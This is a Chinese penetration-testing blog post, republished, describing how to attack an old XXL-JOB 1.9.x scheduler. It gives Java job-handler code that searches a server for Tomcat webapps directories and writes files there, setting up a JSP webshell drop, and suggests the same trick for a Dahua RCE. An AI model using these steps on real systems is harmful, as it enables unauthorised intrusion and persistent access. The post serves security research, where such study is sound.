文章总结： 本文介绍了针对低版本XXL-JOB(1.9.2)的攻击方法，发现2.0以下版本使用Tomcat而非Spring启动，通过执行命令寻找Tomcat的webapps目录并写入恶意JSP文件实现攻击。这种方法解决了低版本XXL-JOB因数据库字段限制、无法注入Java进程等问题导致的攻击困难，也可应用于其他类似场景如大华RCE。
综合评分： 91
文章分类： 渗透测试,漏洞分析,WEB安全,实战经验,代码审计

记低版本XXL-JOB打法

哈拉少安全小队

2025年11月20日 08:51
广东

以下文章来源于T3Ysec
，作者T3Ysec

T3Ysec
.

分享一些安全研究，研究免杀对抗，代码审计，和内网渗透

前言：

某次实战中发现低版本XXL-JOB，该版本为1.9.2非常古老，但是又急需开口子，于是秉承着脚本小子的作风，全网搜索发现压根不存在低版本XXL-JOB打法，github项目注入Agent也根本无法利用（1.低版本xxl-job的数据库字段不能只能5000字符左右，而agent那个数据包很大。2.就算切片落地Jar包也无法注入Java进程。3.执行器就是本机，且又不出网），非常难受。

探索：

github项目内存马的版本，如下：

可以发现2.0以下都是不支持的。于是回归代码，在github下查看源码

很容易就发现，xxl-job2.0以上调度中心是spring启动，2.0以下调度中心是tomcat启动。于是灵感一闪…..（你懂的）

实践：

我部署的是1.9.0的xxl-job，直接利用github的xxljob脚本

数据库直接报错。

由于是tomcat启动的调度中心，我们可以执行命令去寻找tomcat的路径

package&nbsp;com.xxl.job.service.handler;
import&nbsp;com.xxl.job.core.log.XxlJobLogger;import&nbsp;com.xxl.job.core.biz.model.ReturnT;import&nbsp;com.xxl.job.core.handler.IJobHandler;
import&nbsp;java.io.File;import&nbsp;java.util.ArrayList;import&nbsp;java.util.List;
public&nbsp;class&nbsp;DemoGlueJobHandler&nbsp;extends&nbsp;IJobHandler&nbsp;{
&nbsp; &nbsp;&nbsp;@Override&nbsp; &nbsp;&nbsp;public&nbsp;ReturnT<String>&nbsp;execute(String param)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; XxlJobLogger.log("XXL-JOB, 开始用 Java 遍历磁盘查找 webapps 目录...");
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 可以根据实际情况调整扫描的根目录，比如 C:/ D:/ /usr/local 等&nbsp; &nbsp; &nbsp; &nbsp; List<File> roots =&nbsp;new&nbsp;ArrayList<>();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(isWindows()) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; roots.add(new&nbsp;File("C:\\"));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; roots.add(new&nbsp;File("D:\\"));&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; roots.add(new&nbsp;File("/"));&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; List<String> found =&nbsp;new&nbsp;ArrayList<>();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(File root : roots) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XxlJobLogger.log("开始扫描: "&nbsp;+ root.getAbsolutePath());&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; searchWebapps(root, found,&nbsp;3);&nbsp;// 限制最大递归深度，防止太慢&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(found.isEmpty()) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XxlJobLogger.log("未找到 webapps 目录");&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ReturnT.FAIL;&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(String path : found) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XxlJobLogger.log("找到 webapps 目录: "&nbsp;+ path);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; File[] children =&nbsp;new&nbsp;File(path).listFiles();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(children !=&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(File f : children) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XxlJobLogger.log(" &nbsp;- "&nbsp;+ f.getName());&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ReturnT.SUCCESS;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;/**&nbsp; &nbsp; &nbsp;* 递归查找 webapps 目录&nbsp; &nbsp; &nbsp;*/&nbsp; &nbsp;&nbsp;private&nbsp;void&nbsp;searchWebapps(File dir, List<String> found,&nbsp;int&nbsp;depthLimit)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(dir ==&nbsp;null&nbsp;|| !dir.isDirectory() || depthLimit <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; File[] files = dir.listFiles();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(files ==&nbsp;null)&nbsp;return;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(File file : files) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(file.isDirectory()) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("webapps".equalsIgnoreCase(file.getName())) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found.add(file.getAbsolutePath());&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; searchWebapps(file, found, depthLimit -&nbsp;1);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;private&nbsp;boolean&nbsp;isWindows()&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;System.getProperty("os.name").toLowerCase().contains("win");&nbsp; &nbsp; }}

执行结果：

然后就是简单的写入jsp文件到web目录下（这里有个坑有些xxl-job不解析jsp，不知道为啥）

package&nbsp;com.xxl.job.service.handler;
import&nbsp;com.xxl.job.core.biz.model.ReturnT;import&nbsp;com.xxl.job.core.handler.IJobHandler;import&nbsp;com.xxl.job.core.handler.annotation.JobHandler;import&nbsp;com.xxl.job.core.log.XxlJobLogger;
import&nbsp;java.io.File;import&nbsp;java.io.FileWriter;import&nbsp;java.io.IOException;import&nbsp;java.util.Date;
/**&nbsp;* XXL-JOB 自定义任务：写文件到Tomcat webapps目录&nbsp;* 可在调度中心 Bean模式调用&nbsp;*/@JobHandler("writeFileHandler")public&nbsp;class&nbsp;WriteFileHandler&nbsp;extends&nbsp;IJobHandler&nbsp;{
&nbsp; &nbsp;&nbsp;// 目标目录&nbsp; &nbsp;&nbsp;private&nbsp;static&nbsp;final&nbsp;String&nbsp;TARGET_DIR&nbsp;=&nbsp;"C:\\Users\\john\\Desktop\\tomcat\\apache-tomcat-9.0.87\\webapps\\xxl-job";
&nbsp; &nbsp;&nbsp;@Override&nbsp; &nbsp;&nbsp;public&nbsp;ReturnT<String>&nbsp;execute(String param)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp; XxlJobLogger.log("XXL-JOB, 开始写入文件...");
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;File&nbsp;targetDir&nbsp;=&nbsp;new&nbsp;File(TARGET_DIR);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!targetDir.exists() && !targetDir.mkdirs()) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XxlJobLogger.log("目标目录创建失败: "&nbsp;+ TARGET_DIR);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ReturnT.FAIL;&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;File&nbsp;file&nbsp;=&nbsp;new&nbsp;File(targetDir,&nbsp;"hello.txt");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FileWriter&nbsp;writer&nbsp;=&nbsp;null;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writer =&nbsp;new&nbsp;FileWriter(file,&nbsp;false);&nbsp;// 覆盖写入&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;content&nbsp;=&nbsp;"Hello XXL-JOB!\n当前时间: "&nbsp;+&nbsp;new&nbsp;Date();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(param !=&nbsp;null&nbsp;&& !param.trim().isEmpty()) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; content +=&nbsp;"\n参数: "&nbsp;+ param;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writer.write(content);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XxlJobLogger.log("文件写入成功: "&nbsp;+ file.getAbsolutePath());&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ReturnT.SUCCESS;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(IOException e) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XxlJobLogger.log("文件写入失败: "&nbsp;+ e.getMessage());&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ReturnT.FAIL;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;finally&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(writer !=&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writer.close();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(IOException ignore) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

成功写入。

总结：

这种利用Tomcat解析jsp的思路，不止可以在低版本xxljob上玩，也可以在最近报出的大华rce上去玩，通过命令执行寻找可以解析jsp的web，将我们的恶意文件写入。

“写的不好的地方，希望可以多包容”

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：哈拉少安全小队《记低版本XXL-JOB打法》

Tags: WEB安全代码审计实战经验渗透测试漏洞分析

你可能错过

关于信任成本的一次观察

CCS2026 | “AI+网信安全”技术交流活动成功举办

中国信通院卓越示范中心启动智能化安全防御能力就绪度提升工作

Check Point 紧急修复严重漏洞，可使远程未认证攻击者获得 root 权限